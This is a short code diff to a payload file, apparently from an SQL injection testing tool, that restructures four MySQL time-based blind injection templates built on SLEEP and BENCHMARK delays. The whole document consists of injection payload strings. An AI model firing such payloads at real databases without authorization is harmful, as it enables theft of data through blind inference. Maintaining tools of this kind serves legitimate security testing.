diff --git a/xml/payloads.xml b/xml/payloads.xml
index 7773cb997..1ccad0ab0 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1426,7 +1426,7 @@ Formats:
1
1,2,3
1
- AND IF(([INFERENCE]), [RANDNUM], SLEEP([SLEEPTIME]))
+ AND [RANDNUM]=IF(([INFERENCE]), SLEEP([SLEEPTIME]), [RANDNUM])
AND SLEEP([SLEEPTIME])
@@ -1446,7 +1446,7 @@ Formats:
1
1,2,3
1
- AND IF(([INFERENCE]), [RANDNUM], BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')))
+ AND [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])
AND BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))
@@ -1585,7 +1585,8 @@ Formats:
3
1,2,3
2
- OR IF(([INFERENCE]), [RANDNUM], SLEEP([SLEEPTIME]))
+
+ OR IF(([INFERENCE]), SLEEP([SLEEPTIME]), [RANDNUM])=0
OR SLEEP([SLEEPTIME])=0
@@ -1605,7 +1606,7 @@ Formats:
3
1,2,3
2
- OR IF(([INFERENCE]), [RANDNUM], BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')))
+ OR [RANDNUM]=IF(([INFERENCE]), BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]')), [RANDNUM])
OR BENCHMARK([SLEEPTIME]000000, MD5('[SLEEPTIME]'))